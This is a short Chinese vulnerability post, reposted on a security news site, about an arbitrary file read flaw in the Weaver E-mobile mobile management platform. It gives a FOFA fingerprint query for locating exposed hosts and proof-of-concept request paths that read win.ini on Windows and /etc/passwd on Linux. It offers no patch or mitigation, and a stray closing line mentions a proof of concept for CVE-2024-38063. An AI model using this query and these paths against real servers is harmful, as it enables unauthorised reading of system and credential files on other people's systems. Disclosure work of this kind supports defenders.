泛微移动管理平台E-mobile cdnfile/接口存在任意文件读取

2024年9月20日22:48:41评论38 views字数 286阅读0分57秒阅读模式

漏洞描述

泛微移动管理平台E-mobile client/cdnfile/接口存在任意文件读取，攻击者可根据该漏洞获敏感信息。

资产信息

FOFA:icon_hash="2062026853"

泛微移动管理平台E-mobile cdnfile/接口存在任意文件读取

漏洞复现

泛微移动管理平台E-mobile cdnfile/接口存在任意文件读取

POC

windows:/client/cdnfile/1C/Windows/win.inilinux:/client/cdnfile/C/etc/passwd

---------------------------------------------------

原文始发于微信公众号（小白菜安全）：漏洞推送|【新】某微移动管理平台E-mobile cdnfile/接口存在任意文件读取

本文由 admin 发表于 2024年9月20日22:48:41
转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
泛微移动管理平台E-mobile cdnfile/接口存在任意文件读取https://cn-sec.com/archives/3189663.html

CVE-2024-38063 的 poc（tcpip.sys 中的 RCE）